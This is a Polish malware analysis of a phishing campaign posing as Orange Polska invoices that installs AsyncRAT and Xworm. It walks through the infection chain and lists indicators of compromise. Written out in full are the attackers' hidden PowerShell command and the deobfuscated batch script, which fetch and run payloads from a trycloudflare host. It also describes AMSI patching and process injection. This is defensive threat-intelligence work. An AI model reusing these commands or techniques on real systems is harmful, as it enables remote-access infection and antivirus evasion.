Fałszywa faktura „od Orange” – AsyncRAT/Xworm
W piątek 12 lipca informowaliśmy o kampanii phishingowej, w której pojawiła się fałszywa faktura, podszywająca się pod Orange Polska. Po publikacji ostrzeżenia przyjrzeliśmy się dokładnie złośliwej aktywności pliku, załączonego do maila.
Deweloperzy malware stale doskonalą metody ataku, by jak najskuteczniej wprowadzać złośliwe oprogramowanie na komputery ofiar. Opisywana 12 lipca kampania to jeden z najnowszych i najbardziej złożonych przykładów złośliwego oprogramowania. Atak składa się z kilku etapów, z których każdy ma na celu obejście zabezpieczeń, prowadzące do ostatecznej instalacji złośliwego oprogramowania.
Mail, a w nim fałszywa faktura
Pierwszym krokiem jest rozesłanie fałszywych e-maili, z linkiem do pliku URL, hostowanego na Dropbox. Po jego otwarciu ofiara pobiera plik LNK, uruchamiający plik wsadowy BAT. Ten ostatni nie tylko pobiera archiwum ZIP ze skryptami w Pythonie, ale również otwiera pliki PDF. Mają one uśpić czujność użytkownika uwiarygodnić całą operację. W tym czasie skrypty dekodują kod maszynowy, ten zaś uruchamia nowy proces, do którego się wstrzykuje. Pozwala to na uruchomienie docelowego malware – AsyncRAT lub Xworm – w zależności od wykonanego skryptu.
Przyjrzymy się więc pierwszemu etapowi ataku. Najpierw zobaczymy jak wygląda mająca nas przekonać do instalacji złośliwego kodu fałszywa faktura.
Po kliknięciu w “Pobierz fakturę” otwiera się link hxxps://dl.dropboxusercontent[.]com/scl/fi/rodrbkssuye41k22dh0c2/doc.0949024234242.zip?rlkey=fvudx7uya72tebt3t9tzoc2nl&st=qbczn8xv&dl=0
To link prowadzący do publicznej chmury Dropbox, a na niej – do pobrania pierwszego etapu malware, czyli pliku doc.0949024234242.zip
.
Analiza kolejnych etapów malware’u
Etap 1. doc.0949024234242.zip
Po wypakowaniu archiwum zip uzyskujemy dostęp do pliku doc.02994204242.url o następującej treści:
[InternetShortcut]
URL=file://jvc-smooth-tribunal-disks.trycloudflare[.]com@SSL/DavWWWRoot/SC700T.lnk
IDList=
HotKey=0
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
Przedrostek file:// wskazuje w tym przypadku na zasób zewnętrzny w domenie jvc-smooth-tribunal-disks.trycloudflare[.]com. Gdy użytkownik wykona plik url, SC700T.lnk zostanie pobrany.
Etap 2. SC700T.lnk
Plik lnk, który uruchamia poniższe polecenie:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w Hidden -Command "mv '\\jvc-smooth-tribunal-disks.trycloudflare.com@SSL\DavWWWRoot\new.bat' \"$env:USERPROFILE\Downloads\new.bat\"; start \"$env:USERPROFILE\Downloads\new.bat\" -WindowStyle Hidden"
W wyniku powyższego do folderu Downloads w katalogu użytkownika zostaje pobrany skrypt new.bat.
Etap 3. new.bat
Plik wsadowy zakodowany był w następujący sposób:
Za pomocą polecenia set ustawiana była zmienna używana do dekodowania następnego polecenia. Pierwszym poleceniem set ze skryptu new.bat było:
set "\xc3uW\xc3\xc3=o1lVyswtHQr8z6DT5p@dq9fKACPXnbvG eSULOixWMuEjB4Fam37I20RgZcYhNkJ”
W kolejnym kroku podstawiane były znaki ze zmiennej “xc3uW\xc3\xc3”, czego efektem było polecenie:
%\xc3uW\xc3\xc3:~18,1%%\xc3uW\xc3\xc3:~5,1%
(..)
%\xc3uW\xc3\xc3:~50,1%
W przypadku powyżej najpierw podstawiany jest 18. znak ze zmiennej „xc3uW\xc3\xc3”, następnie 5. znak i tak do sparsowania całości. Jako wynik otrzymujemy następne polecenie set. Proces trzeba powtórzyć i tak do otrzymania końcowego skryptu, który przedstawia się jak poniżej:
@echo off
setlocal
echo Opening first PDF file...
start "" "https://jvc-smooth-tribunal-disks.trycloudflare.com/policy.pdf"
timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)
:: Variables for downloading the ZIP file
set "zipUrl=https://jvc-smooth-tribunal-disks.trycloudflare.com/plat.zip"
set "destination=\Downloads\plat.zip"
set "extractTo=\Downloads"
:: Use Invoke-WebRequest to download the ZIP file
echo Downloading ZIP file...
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '' -OutFile '' }"
:: Extract the ZIP file using Expand-Archive
echo Extracting ZIP file...
powershell -Command "& { Expand-Archive -Path '' -DestinationPath '' -Force }"
:: Navigate to the Python folder and run the scripts
echo Running Python scripts...
cd /d "\Downloads\Python\Python312"
python.exe x.py
python.exe eu.py
python.exe blo.py
python.exe loader.py
python.exe hey.py
echo Opening second PDF file...
start "" "https://jvc-smooth-tribunal-disks.trycloudflare.com/a.pdf"
timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)
:: Download the update.bat file after opening the second PDF
echo Downloading update.bat file...
set "cmdUrl=https://jvc-smooth-tribunal-disks.trycloudflare.com/update.bat"
set "cmdDestination=\Downloads\update.bat"
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '' -OutFile '' }"
:: Move update.bat file to the user's startup folder
echo Moving update.bat file to startup folder...
set "startupFolder=\Microsoft\Windows\Start Menu\Programs\Startup"
move "" ""
echo Cleaning up...
:: Delete new.bat file (if exists)
if exist "\Downloads\new.bat" (
del "\Downloads\new.bat"
)
:: Delete plat.zip file (if exists)
if exist "" (
del ""
)
:: Hide the Python folder
attrib +h "\Downloads\Python"
echo Script execution completed.
endlocal
Efekt jest pobranie pliku plat.zip, wypakowanie jego zawartości do folderu Downloads, uruchomienie skryptu napisane w języku python z wypakowanego pliku plat.zip. Następnie dla zmylenia użytkownika otwiera dokumenty a.pdf:
oraz policy.pdf
Następnym krokiem jest pobranie pliku update.bat. Zamysłem autorów najprawdopodobniej było ustawienie za jego pomocą persystencji. Jednak ostatecznie nie przenieśli go do odpowiedniego katalogu, ponieważ w poleceniu move są jedynie puste łańcuchy znaków:
move "" ""
Ostatni etap i podsumowanie
Po wypakowaniu otrzymujemy plik wykonywalny interpretera języka python oraz kilka skryptów: x.py, eu.py, blo.py, loader.py, hey.py. Każdy z nich dekoduje i uruchamia loader odpowiedzialny za docelowy malware. Sam loader przypomina nieco zmodyfikowaną wersje lazzzy https://github.com/capt-meelo/laZzzy/tree/main. Po uruchomieniu patchowane są funkcje AmsiScanBuffer, AmsiScanString, wldpQueryDynamicCodeTrust, WldpIsClassInApprovedList
. Dzieje się to jednak w sposób taki, by nie wykonały działań, które powinny wykonać, a po prostu zwracały 0. Przykład funkcji wykonującej patch AmsiScanBuffer
oraz AmsiScanString
:
AmsiScanBuffer
oraz AmsiScanString
to części Antimalware Scan Interface, które pozwalają na przeskanowanie danej pamięci przez zainstalowane oprogramowanie antywirusowe. Jako iż docelowy malware jest napisany w .NET, nadpisywane są też funkcje wldpQueryDynamicCodeTrust
oraz WldpIsClassInApprovedList
.
Następnie deszyfrowany jest kod, który uruchamia proces notepad.exe i wstrzykuje się do niego za pomocą techniki Early Bird APC Queue (https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection). Opisywany loader nie używa wywołań API Windows, a kod sam wykonuje odpowiedni syscall do jądra systemu. Kod wykonujący wstrzyknięcie uzyskany z repozytorium github:
Do procesu notatnika jest wstrzykiwany ten sam kod, który był zdekodowany w skrypcie python i tym razem po spatchowaniu funkcji opisanych wcześniej, deszyfruje on docelowy malware, a następnie uruchamia go w kontekście procesu notepad.exe. Każdy skrypt posiadał loader, który uruchamiał inny malware, przedstawia się to następująco:
hey.py → AsyncRat c2: hxxps://pastebin[.]com/raw/zNe6NH5y dcxwq1.duckdns[.]org:4449
f8be81c64b2719f76929da80a7592fc453be08f3f5dabc9a263877f4da75f31b
blo.py → AsyncRat c2: 157.20.182[.]172:3232 6378a8daf10e743257545d25aac7166b6532cfa4d5bc1e0d0c348123c05f2683
eu.py → AsyncRat c2: 45.66.231[.]150:3232 a6fd20f1b792705fc13ad09dda432797539aa715e7dcfd54680b1bc74f49f71a
x.py → Xworm c2: 157.20.182[.]172:7000 674d985460427fde35437291ab3ea3d8102fd33f9f0442b26694e9f5b7e605b0
loader.py → Xworm c2: 157.20.182[.]172:8000 6af58141b5161c7b10839ee71900e41853243b254ff28d19f5bed950e5ab1d82
Analiza pokazuje jak atakujący mogą bez sięgania po nowe techniki łączyć te już znane, aby dostarczyć nieświadomemu użytkownikowi docelowy malware (lub kilka, jak w opisywanym przypadku). Pobranie zip i kliknięcie w plik url powodowało infekcję… trzema AsyncRAT’ami oraz dwoma Xwormami. Łańcuch infekcji możecie zobaczyć poniżej.
Arkadiusz Bazak
IoC
doc.0949024234242.zip
cf7e03df2a8df21233d08422a5ae19d1acc03f491d60fd33eec215ceb9925235
doc.02994204242.url
aabbfb736f8878910405d1fe887f804159f0dd05ce4e34570befde3aa9d1a7cf
new.bat
1a3cd7ea2c571c16b7c57abae007243cd3e79c8b59e1deab026a4d6403314e14
plat.zip
4bb6ca3a4f3bd5f2357c983d7f767ee203112765e86ba38b017bb202b74e9853
SC700T.lnk
a3c36e018ec89e6b43fd4ae2a7e81b96266fb57787a31cedefb52187e3f6691e
AsyncRat
f8be81c64b2719f76929da80a7592fc453be08f3f5dabc9a263877f4da75f31b 6378a8daf10e743257545d25aac7166b6532cfa4d5bc1e0d0c348123c05f2683 a6fd20f1b792705fc13ad09dda432797539aa715e7dcfd54680b1bc74f49f71a
Xworm
674d985460427fde35437291ab3ea3d8102fd33f9f0442b26694e9f5b7e605b0 6af58141b5161c7b10839ee71900e41853243b254ff28d19f5bed950e5ab1d82
blo.py
39b377f4119a380dbe07108cf203f9c833bce6120f5dd8779820d0fae3dadb0d
eu.py
9ad90785140cabe52ca855f81014fd7a2337ca15b1b130ee7f9d22de0c4488ac
hey.py
4d86fdf825c7fdf093f9d1ad768563da67293adf1a8418085ca7c62c14c9d6fe
loader.py
b87f5b8abd70c0b13ec9dcfbe17a5c642c56387cbfd52773638d073668738ab3
x.py
83be34edfc08c0be569ba4c6ced914322cb6689034746bbeb9167dcf717b82fa
blo.py shellcode
1650bb3ca3038e304df0004a32749fc0601843eaa3f076e3476b80b003d3a21a
eu.py shellcode
f8676228c52240674cfc6763ae5ffc5e5cbb54e8307c10599d59b884453c1b2d
hey.py shellcode
770e03c55180142b11c11777d8e7f61f84c1cf9c10e6550df97077aaaceeb835
loader.py shellcode
d7886a7383c70e0db3736b98d33f8ea827f2a050d8829c0902a00035ba32c90b
x.py shellcode
6c0934447a5748929316ebc49d755f37b5a70bd2dd913a23e6a0e7f03a839882
AsyncRAT c2
dcxwq1.duckdns[.]org:4449
157.20.182[.]172:3232
45.66.231[.]150:3232
Xworm c2
157.20.182[.]172:7000
157.20.182[.]172:8000
Distribution domain
hxxps://jvc-smooth-tribunal-disks.trycloudflare[.]com